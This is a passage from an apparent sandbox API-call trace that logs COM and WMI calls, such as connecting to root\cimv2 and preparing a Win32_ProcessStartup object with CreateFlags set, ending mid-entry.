[0086.737] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7f90, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0086.737] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7f90, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0086.737] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7f90, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0086.737] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0086.737] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0086.737] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7f90, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0086.737] WbemLocator:IUnknown:Release (This=0x11f7f90) returned 0x2 [0086.737] WbemLocator:IUnknown:Release (This=0x11f7f90) returned 0x1 [0086.737] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0086.737] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0086.737] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7f90, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11f7f90) returned 0x0 [0086.737] WbemLocator:IUnknown:AddRef (This=0x11f7f90) returned 0x3 [0086.737] WbemLocator:IUnknown:Release (This=0x11f7f90) returned 0x2 [0086.737] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c3c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0086.737] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c3c0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0086.737] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c3c0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.737] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11f7fb0) returned 0x0 [0086.737] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f7fb0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bed2b70) returned 0x0 [0087.068] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2b70, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11df420) returned 0x0 [0087.068] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df420, pProxy=0x1bed2b70, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0087.068] WbemLocator:IUnknown:Release (This=0x11df420) returned 0x1 [0087.068] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2b70, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11df460) returned 0x0 [0087.069] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2b70, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11df420) returned 0x0 [0087.069] WbemLocator:IClientSecurity:SetBlanket (This=0x11df420, pProxy=0x1bed2b70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0087.069] WbemLocator:IUnknown:Release (This=0x11df420) returned 0x2 [0087.069] WbemLocator:IUnknown:Release (This=0x11df460) returned 0x1 [0087.069] CoTaskMemFree (pv=0x11dd3f0) [0087.069] WbemLocator:IUnknown:AddRef (This=0x1bed2b70) returned 0x2 [0087.069] WbemLocator:IUnknown:Release (This=0x11f7fb0) returned 0x0 [0087.071] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0087.071] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0087.071] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2b70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11df430) returned 0x0 [0087.071] WbemLocator:IRpcOptions:Query (in: This=0x11df430, pPrx=0x11f8010, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0087.071] WbemLocator:IUnknown:Release (This=0x11df430) returned 0x2 [0087.071] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0087.071] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0087.071] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2b70, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bed2b70) returned 0x0 [0087.072] WbemLocator:IUnknown:Release (This=0x1bed2b70) returned 0x2 [0087.072] SysStringLen (param_1=0x0) returned 0x0 [0087.072] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c240, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0087.072] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c240, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0087.073] IWbemServices:GetObject (in: This=0x1bed2b70, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef5bd0, ppCallResult=0x0) returned 0x0 [0087.075] IWbemClassObject:Get (in: This=0x1bef5bd0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0087.075] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0087.075] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0087.076] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0087.076] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0087.076] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0087.076] IUnknown:Release (This=0x111f638) returned 0x1 [0087.078] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11f7fb0) returned 0x0 [0087.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7fb0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0087.079] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7fb0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf3c480) returned 0x0 [0087.079] WbemDefPath:IUnknown:Release (This=0x11f7fb0) returned 0x0 [0087.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf3c480) returned 0x0 [0087.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0087.079] WbemDefPath:IUnknown:AddRef (This=0x1bf3c480) returned 0x3 [0087.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0087.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0087.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11f7c10) returned 0x0 [0087.079] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7c10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.079] WbemDefPath:IUnknown:Release (This=0x11f7c10) returned 0x3 [0087.080] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0087.080] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0087.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0087.080] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x2 [0087.080] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x1 [0087.080] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0087.080] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0087.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf3c480) returned 0x0 [0087.080] WbemDefPath:IUnknown:AddRef (This=0x1bf3c480) returned 0x3 [0087.080] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x2 [0087.080] WbemDefPath:IWbemPath:SetText (This=0x1bf3c480, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0087.080] IWbemClassObject:Get (in: This=0x1bef5bd0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ac358*=0, plFlavor=0x29ac35c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ac358*=19, plFlavor=0x29ac35c*=0) returned 0x0 [0087.081] IWbemClassObject:Get (in: This=0x1bef5bd0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ac358*=19, plFlavor=0x29ac35c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ac358*=19, plFlavor=0x29ac35c*=0) returned 0x0 [0087.081] IWbemClassObject:Put (This=0x1bef5bd0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0087.081] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c180, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0087.081] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0087.081] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0087.081] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.081] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0087.081] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0087.081] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0087.081] IUnknown:Release (This=0x111f638) returned 0x1 [0087.083] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11f7c90) returned 0x0 [0087.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7c90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0087.083] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7c90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf3c540) returned 0x0 [0087.083] WbemDefPath:IUnknown:Release (This=0x11f7c90) returned 0x0 [0087.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf3c540) returned 0x0 [0087.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0087.084] WbemDefPath:IUnknown:AddRef (This=0x1bf3c540) returned 0x3 [0087.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0087.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0087.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11f7cd0) returned 0x0 [0087.084] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7cd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.084] WbemDefPath:IUnknown:Release (This=0x11f7cd0) returned 0x3 [0087.084] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0087.084] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0087.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0087.084] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x2 [0087.084] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x1 [0087.084] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0087.084] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0087.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf3c540) returned 0x0 [0087.084] WbemDefPath:IUnknown:AddRef (This=0x1bf3c540) returned 0x3 [0087.084] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x2 [0087.084] WbemDefPath:IWbemPath:SetText (This=0x1bf3c540, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0087.084] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0087.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0087.085] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.085] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0087.085] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0087.085] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0087.085] IUnknown:Release (This=0x111f638) returned 0x1 [0087.086] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11f7990) returned 0x0 [0087.086] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7990, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0087.086] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f7990, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11f77d0) returned 0x0 [0087.086] WbemLocator:IUnknown:Release (This=0x11f7990) returned 0x0 [0087.086] WbemLocator:IUnknown:QueryInterface (in: This=0x11f77d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 